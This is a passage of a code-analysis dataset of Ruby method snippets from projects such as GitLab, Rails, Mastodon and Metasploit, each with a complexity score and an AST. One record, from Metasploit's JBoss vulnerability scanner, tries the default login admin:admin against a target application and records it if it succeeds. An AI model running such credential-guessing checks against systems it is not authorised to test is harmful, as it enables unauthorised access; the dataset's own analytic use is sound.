World\"]},{\"type\":\"lvar\",\"children\":[\"reply\"]}]}]}]}","id":"9c8f9e5b-ec95-407c-b600-7172cd16a554"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/config/initializers/mail_starttls_patch.rb","start_line":26,"raw_source":"def smtp_starttls\n      return false if smtp_tls?\n\n      if setting_provided?(:enable_starttls) && settings[:enable_starttls]\n        # enable_starttls: provided and truthy\n        case settings[:enable_starttls]\n        when :auto then :auto\n        when :always then :always\n        else\n          :always\n        end\n      elsif setting_provided?(:enable_starttls_auto)\n        # enable_starttls: not provided or false\n        settings[:enable_starttls_auto] ? :auto : false\n      else\n        # enable_starttls_auto: not provided\n        # enable_starttls: when provided then false\n        # use :auto when neither enable_starttls* provided\n        setting_provided?(:enable_starttls) ? false : :auto\n      end\n    end","complexity_score":21.8,"ast_json":"{\"type\":\"def\",\"children\":[\"smtp_starttls\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"smtp_tls?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"setting_provided?\",{\"type\":\"sym\",\"children\":[\"enable_starttls\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"enable_starttls\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"enable_starttls\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"auto\"]},{\"type\":\"sym\",\"children\":[\"auto\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"always\"]},{\"type\":\"sym\",\"children\":[\"always\"]}]},{\"type\":\"sym\",\"children\":[\"always\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"setting_provided?\",{\"type\":\"sym\",\"children\":[\"enable_starttls_auto\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"enable_starttls_auto\"]}]},{\"type\":\"sym\",\"children\":[\"auto\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"setting_provided?\",{\"type\":\"sym\",\"children\":[\"enable_starttls\"]}]},{\"type\":\"false\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"auto\"]}]}]}]}]}]}","id":"1cba3cd0-1ea9-4eb5-b7b2-cc0210e4f09a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/job_artifacts/delete_project_artifacts_service.rb","start_line":6,"raw_source":"def execute\n        ExpireProjectBuildArtifactsWorker.perform_async(project.id)\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExpireProjectBuildArtifactsWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]}]}","id":"6d364113-34ec-4fe4-839d-cc91b952b9e8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/db_manager/workspace.rb","start_line":39,"raw_source":"def workspace=(workspace)\n    # The @current_workspace is tracked on the client side, so attempting to call it directly from the DbManager\n    # will not return the correct results. Run it back through the proxy.\n    wlog \"[DEPRECATION] Setting the workspace from within DbManager is no longer supported. Please call from WorkspaceDataProxy instead.\"\n\n    # Proxied to fix tests, will be cleaned up in remote test patch\n    framework.db.workspace=workspace\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"workspace=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"workspace\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wlog\",{\"type\":\"str\",\"children\":[\"[DEPRECATION] Setting the workspace from within DbManager is no longer supported. Please call from WorkspaceDataProxy instead.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"workspace=\",{\"type\":\"lvar\",\"children\":[\"workspace\"]}]}]}]}","id":"7bdbc4a6-e42f-4bcf-b3a4-60a1bdace90c"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/mute.rb","start_line":35,"raw_source":"def invalidate_follow_recommendations_cache\n    Rails.cache.delete(\"follow_recommendations/#{account_id}\")\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"invalidate_follow_recommendations_cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"delete\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"follow_recommendations/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account_id\"]}]}]}]}]}","id":"a6608600-37a7-4e50-9196-33b87d215a69"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/configuration.rb","start_line":80,"raw_source":"def move_after(...)\n        @delete_operations << -> middleware { middleware.move_after(...) }\n      end","complexity_score":3.5,"ast_json":"{\"type\":\"def\",\"children\":[\"move_after\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@delete_operations\"]},\"<<\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"middleware\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"middleware\"]},\"move_after\",{\"type\":\"forwarded_args\",\"children\":[]}]}]}]}]}","id":"a62ce282-e953-4b76-87e5-442135c5a714"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/jboss_vulnscan.rb","start_line":220,"raw_source":"def basic_auth_default_creds(app)\n    res = send_request_cgi({\n      'uri' => app,\n      'method' => 'GET',\n      'ctype' => 'text/plain',\n      'authorization' => basic_auth('admin', 'admin')\n    })\n\n    if res && res.code == 200\n      print_good(\"#{rhost}:#{rport} Authenticated using admin:admin at #{app}\")\n      add_creds(\"admin\", \"admin\")\n    else\n      print_status(\"#{rhost}:#{rport} Could not guess admin credentials\")\n    end\n  end","complexity_score":16.83,"ast_json":"{\"type\":\"def\",\"children\":[\"basic_auth_default_creds\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"app\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"app\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"authorization\"]},{\"type\":\"send\",\"children\":[null,\"basic_auth\",{\"type\":\"str\",\"children\":[\"admin\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" Authenticated using admin:admin at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_creds\",{\"type\":\"str\",\"children\":[\"admin\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" Could not guess admin credentials\"]}]}]}]}]}]}","id":"863dc39f-9227-455f-b81c-8f9a9b7afd1a"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/database/schema/validation/base_validator.rb","start_line":5,"raw_source":"def initialize(config, errors, db)\n      @config = config\n      @schema_config ||= @config[:schema]\n      @errors = errors\n      @db = db\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]},{\"type\":\"arg\",\"children\":[\"errors\"]},{\"type\":\"arg\",\"children\":[\"db\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@config\",{\"type\":\"lvar\",\"children\":[\"config\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@schema_config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"schema\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@errors\",{\"type\":\"lvar\",\"children\":[\"errors\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@db\",{\"type\":\"lvar\",\"children\":[\"db\"]}]}]}]}","id":"3c4fd03b-e5e5-4203-b759-79171670f873"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/catalog/resources/release_service.rb","start_line":15,"raw_source":"def execute\n          resource_version = track_release_duration do\n            check_access\n            validate_catalog_resource\n            create_version\n          end\n\n          if errors.empty?\n            ServiceResponse.success(payload: { version: resource_version })\n          else\n            ServiceResponse.error(message: errors.join(', '))\n          end\n        end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"resource_version\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"track_release_duration\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_access\"]},{\"type\":\"send\",\"children\":[null,\"validate_catalog_resource\"]},{\"type\":\"send\",\"children\":[null,\"create_version\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"lvar\",\"children\":[\"resource_version\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]}]}]}","id":"0779fb1a-ba17-43ac-9234-2e664078c7b3"}
{"repo_name":"rails","file_path":"./repos/rails/activestorage/app/models/active_storage/blob/representable.rb","start_line":129,"raw_source":"def preview(transformations)\n    if previewable?\n      ActiveStorage::Preview.new(self, transformations)\n    else\n      raise ActiveStorage::UnpreviewableError, \"No previewer found for blob with ID=#{id} and content_type=#{content_type}\"\n    end\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"preview\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"transformations\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"previewable?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveStorage\"]},\"Preview\"]},\"new\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"transformations\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveStorage\"]},\"UnpreviewableError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No previewer found for blob with ID=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"str\",\"children\":[\" and content_type=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_type\"]}]}]}]}]}]}","id":"8627a0fc-5e02-45c1-8129-e38ca3a84de8"}
{"repo_name":"reek","file_path":"./repos/reek/samples/smelly_source/redcloth.rb","start_line":868,"raw_source":"def check_refs( text ) \n        ret = @urlrefs[text.downcase] if text\n        ret || [text, nil]\n    end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"check_refs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@urlrefs\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"downcase\"]}]}]},null]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"02740553-1444-457c-83ca-bed5ce250749"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/miq_expression/field.rb","start_line":26,"raw_source":"def to_s\n    \"#{[model, *associations].join(\".\")}-#{column}\"\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"to_s\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"associations\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"column\"]}]}]}]}","id":"acf704a7-ef80-4d08-8915-207fbae18df9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/system_note_service.rb","start_line":387,"raw_source":"def create_new_alert(alert, monitoring_tool)\n    ::SystemNotes::AlertManagementService.new(noteable: alert, container: alert.project).create_new_alert(monitoring_tool)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_new_alert\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"alert\"]},{\"type\":\"arg\",\"children\":[\"monitoring_tool\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"SystemNotes\"]},\"AlertManagementService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"noteable\"]},{\"type\":\"lvar\",\"children\":[\"alert\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"alert\"]},\"project\"]}]}]}]},\"create_new_alert\",{\"type\":\"lvar\",\"children\":[\"monitoring_tool\"]}]}]}","id":"3e4a2810-53fc-46f4-826e-bfcb5a261066"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20241008140250_add_email_participants_widget_definition.rb","start_line":43,"raw_source":"def down\n    # Although there might be installations that previously had definitions for this widget\n    # we should be fine with removing these on `down` because it introduced an invalid\n    # state anyway (due to the revert).\n    WidgetDefinition.where(widget_type: WIDGET_ENUM_VALUE).delete_all\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WidgetDefinition\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"widget_type\"]},{\"type\":\"const\",\"children\":[null,\"WIDGET_ENUM_VALUE\"]}]}]}]},\"delete_all\"]}]}","id":"ea1c8876-3abc-4faf-8b8e-5da8092c4e29"}
{"repo_name":"spree","file_path":"./repos/spree/core/lib/generators/spree/install/install_generator.rb","start_line":102,"raw_source":"def install_migrations\n      say_status :copying, 'migrations'\n      silence_stream(STDOUT) do\n        silence_warnings { rake 'active_storage:install:migrations' }\n        silence_warnings { rake 'action_text:install:migrations' }\n        silence_warnings { rake 'spree:install:migrations' }\n        silence_warnings { rake 'spree_api:install:migrations' }\n      end\n    end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"install_migrations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"say_status\",{\"type\":\"sym\",\"children\":[\"copying\"]},{\"type\":\"str\",\"children\":[\"migrations\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"silence_stream\",{\"type\":\"const\",\"children\":[null,\"STDOUT\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"silence_warnings\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"rake\",{\"type\":\"str\",\"children\":[\"active_storage:install:migrations\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"silence_warnings\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"rake\",{\"type\":\"str\",\"children\":[\"action_text:install:migrations\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"silence_warnings\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"rake\",{\"type\":\"str\",\"children\":[\"spree:install:migrations\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"silence_warnings\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"rake\",{\"type\":\"str\",\"children\":[\"spree_api:install:migrations\"]}]}]}]}]}]}]}","id":"66cb0bd5-393a-442c-9d03-d9e9a9af8de0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/bitbucket_import/project_creator.rb","start_line":8,"raw_source":"def initialize(repo, name, namespace, current_user, credentials)\n        @repo = repo\n        @name = name\n        @namespace = namespace\n        @current_user = current_user\n        @credentials = credentials\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repo\"]},{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"namespace\"]},{\"type\":\"arg\",\"children\":[\"current_user\"]},{\"type\":\"arg\",\"children\":[\"credentials\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@repo\",{\"type\":\"lvar\",\"children\":[\"repo\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@namespace\",{\"type\":\"lvar\",\"children\":[\"namespace\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@credentials\",{\"type\":\"lvar\",\"children\":[\"credentials\"]}]}]}]}","id":"fa66ff23-8648-4922-9ae8-396de39873bc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/suggestions/suggestion_set.rb","start_line":88,"raw_source":"def error_for_suggestion(suggestion)\n        unless suggestion.diff_file\n          return _('A file was not found.')\n        end\n\n        unless on_same_branch?(suggestion)\n          return _('Suggestions must all be on the same branch.')\n        end\n\n        unless suggestion.appliable?(cached: false)\n          return suggestion.inapplicable_reason(cached: false)\n        end\n\n        unless latest_source_head?(suggestion)\n          return _('A file has been changed.')\n        end\n\n        nil\n      end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"error_for_suggestion\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"suggestion\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suggestion\"]},\"diff_file\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"A file was not found.\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_same_branch?\",{\"type\":\"lvar\",\"children\":[\"suggestion\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Suggestions must all be on the same branch.\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suggestion\"]},\"appliable?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cached\"]},{\"type\":\"false\",\"children\":[]}]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suggestion\"]},\"inapplicable_reason\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cached\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"latest_source_head?\",{\"type\":\"lvar\",\"children\":[\"suggestion\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"A file has been changed.\"]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"71a426f3-aa4e-4fca-b162-eef7b10303bc"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/source/redshift/client.rb","start_line":45,"raw_source":"def read(sync_config)\n        connection_config = sync_config.source.connection_specification\n        connection_config = connection_config.with_indifferent_access\n        query = sync_config.model.query\n        query = batched_query(query, sync_config.limit, sync_config.offset) unless sync_config.limit.nil? && sync_config.offset.nil?\n\n        db = create_connection(connection_config)\n\n        query(db, query)\n      rescue StandardError => e\n        handle_exception(e, {\n                           context: \"REDSHIFT:READ:EXCEPTION\",\n                           type: \"error\",\n                           sync_id: sync_config.sync_id,\n                           sync_run_id: sync_config.sync_run_id\n                         })\n      ensure\n        db&.close\n      end","complexity_score":34.0,"ast_json":"{\"type\":\"def\",\"children\":[\"read\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sync_config\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"connection_config\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"source\"]},\"connection_specification\"]}]},{\"type\":\"lvasgn\",\"children\":[\"connection_config\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_config\"]},\"with_indifferent_access\"]}]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"model\"]},\"query\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"limit\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"offset\"]},\"nil?\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[null,\"batched_query\",{\"type\":\"lvar\",\"children\":[\"query\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"limit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"offset\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"db\",{\"type\":\"send\",\"children\":[null,\"create_connection\",{\"type\":\"lvar\",\"children\":[\"connection_config\"]}]}]},{\"type\":\"send\",\"children\":[null,\"query\",{\"type\":\"lvar\",\"children\":[\"db\"]},{\"type\":\"lvar\",\"children\":[\"query\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"handle_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"str\",\"children\":[\"REDSHIFT:READ:EXCEPTION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"error\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sync_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"sync_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sync_run_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"sync_run_id\"]}]}]}]}]},null]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db\"]},\"close\"]}]}]}","id":"5a8143a1-8d67-45b8-83bc-643604a18e53"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/controllers/api/v1/accounts/captain/documents_controller.rb","start_line":43,"raw_source":"def set_document\n    @document = @documents.find(permitted_params[:id])\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_document\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@document\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@documents\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"4de28828-2015-47b1-820a-ea0586d09ccb"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/transactions_test.rb","start_line":1694,"raw_source":"def test_the_uuid_for_null_transactions_is_nil\n    null_transaction = ActiveRecord::Transaction::NULL_TRANSACTION\n    assert_nil null_transaction.uuid\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_the_uuid_for_null_transactions_is_nil\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"null_transaction\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Transaction\"]},\"NULL_TRANSACTION\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"null_transaction\"]},\"uuid\"]}]}]}]}","id":"2987f4f4-26e6-431a-b6e9-7896c8770051"}
